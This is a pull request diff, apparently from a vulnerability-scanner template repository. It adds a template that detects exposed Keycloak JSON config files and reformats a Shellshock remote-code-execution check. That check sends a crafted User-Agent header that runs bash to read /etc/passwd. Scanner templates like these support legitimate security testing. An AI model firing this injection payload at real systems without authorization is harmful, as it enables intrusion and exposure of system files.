Merge pull request #850 from oppsec/patch-4

Keycloak Json file detection

exposures/files/keycloak-json.yaml

@@ -0,0 +1,23 @@
+id: keycloak-json
+info:
+  name: Keycloak Json File
+  author: oppsec
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/keycloak.json"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - realm
+          - resource
+          - auth-server-url
+        condition: and
+
+      - type: status
+        status:
+          - 200

vulnerabilities/other/rce-shellshock-user-agent.yaml

@@ -7,13 +7,13 @@ info:
   tags: shellshock,rce
 
 requests:
- - method: GET
-   headers:
-    User-Agent: "() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'"
-   path:
-    - "{{BaseURL}}/cgi-bin/status"
-   matchers:
-    - type: regex
-      regex:
-       - "root:[x*]:0:0"
-      part: body
+  - method: GET
+    headers:
+      User-Agent: "() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'"
+    path:
+      - "{{BaseURL}}/cgi-bin/status"
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body